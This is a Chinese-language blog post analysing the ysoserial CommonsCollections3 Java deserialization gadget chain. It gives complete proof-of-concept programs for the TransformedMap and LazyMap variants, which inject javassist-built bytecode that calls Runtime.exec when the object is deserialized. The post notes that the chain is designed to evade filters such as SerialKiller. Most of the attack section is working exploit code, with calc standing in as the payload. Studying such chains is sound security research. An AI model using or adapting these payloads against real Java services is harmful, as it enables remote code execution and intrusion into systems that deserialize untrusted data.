首页 > 其他分享 >ysoserial CommonsColletions3分析

ysoserial CommonsColletions3分析

时间:2022-11-04 19:12:00浏览次数:78  
标签:分析 classPool payload CommonsColletions3 ysoserial Object AbstractTranslet new cl

CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandlerreadobject进行了改写。

而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMap。我们这篇文章先讲TransformedMap链

TemplatesImpl

在CC2中利用javassist创建了一个攻击类,使用TemplatesImpl类中的newTransformer方法触发

这里写一个简单的demo来演示下:

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}

newTransformer方法执行就会弹出计算器

image-20210707142329304

InstantiateTransformer

这个类的transform方法是利用反射获取类的构造方法对象,再通过该构造方法实例化对象

newInstance就是调用构造方法创建一个对象

// 使用构造器对象的newInstance方法初始化对象
Object obj = constroctor.newInstance("yy", 18); 

TrAXFilter

TrAXFilter的构造方法中调用了templates.newTransformer

如果templates变量的值为TemplatesImpl的话,则就能调用到TemplatesImpl的newTransformer方法

image-20210706222938514

这三条链形成一个调用链:

利用InstantiateTransformer#transform调用TrAXFilter的构造方法,再利用构造方法里的templates.newTransformer调用到TemplatesImpl的newTransformer方法。

结合一下ChainedTransformer调用链可以轻松完成构造

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
ChainedTransformer chain = new ChainedTransformer(transformers);

这时候我们只需要调用ChainedTransformer的transform即可触发整条链。这里使用的是TransformedMap来触发ChainedTransformer#transform

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);
        decorate.put("xxx","xxx");
    }
}

到这里有点开始像CC1中的TransformedMap调用链了。没错,再用AnnotationInvocationHandler的readObject做为反序列化入口就可以构造出整条链了。

顺便复习一个知识点:TransformedMap里的每个entry在调用setValue方法时,会自动调用TransformedMap类的checkSetValue方法

完整的构造链

public class payload02 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool= ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map decorate = TransformedMap.decorate(innerMap, null, chain);

        // 通过反射机制实例化AnnotationInvocationHandler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);
        Object ins = cons.newInstance(java.lang.annotation.Target.class,decorate);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(ins);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }
}

其实此条链就是为了对付某些策略对InvokerTransformer类的限制(比如SerialKiller过滤器),而导致不能利用,产生的一条新链。

SerialKiller过滤器:https://github.com/ikkisoft/SerialKiller

当然在ysoserial中,并不是利用的TransformedMap构造,而是用的CC1中的另一条LazyMap链。

其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链

和另一条链的区别:

主要区别在于调用ChainedTransformer的transform方法是使用LazyMap的get方法触发。反序列化入口还是AnnotationInvocationHandler的readObject方法,但是和上一篇TransformedMap调用顺序有差异。

下图为LazyMap中的get方法

image-20210629141520558

构造调用链#

前面都一样,利用javassist创建了一个攻击类放入TemplatesImpl,使用InstantiateTransformer、TrAXFilter、ChainedTransformer这三个来构造调用链。

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

利用LazyMap的decorate方法,把chain赋值给factory

image-20210707225516492

Map innerMap = new HashMap();
Map decorate = LazyMap.decorate(innerMap, chain);

后面就和CC1的LazyMap调用链一样了。AnnotationInvocationHandler类中invoke方法调用了get

image-20210707225819120

所以利用反射构造方法传入this.memberValues=LazyMap

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

再使用动态代理触发AnnotationInvocationHandler的invoke方法

复习一个知识点:proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法

Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);
InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);

最终POC

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool = ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload = classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes = payload.toBytecode();//转换为byte数组

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map decorate = LazyMap.decorate(innerMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler anno1 = (InvocationHandler) cons.newInstance(Override.class, decorate);

        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), anno1);

        InvocationHandler anno2 = (InvocationHandler) cons.newInstance(Override.class, proxyAnno);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(anno2);
        oos.flush();
        oos.close();
        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();

    }
}

CC3就此分析完了,是不是觉得有点像CC1和CC2的结合版本,其实整个CC链来说,搞定了CC1和CC2,其他的都是这几个类的互相调用了

标签:分析,classPool,payload,CommonsColletions3,ysoserial,Object,AbstractTranslet,new,cl
From: https://www.cnblogs.com/gk0d/p/16858845.html

相关文章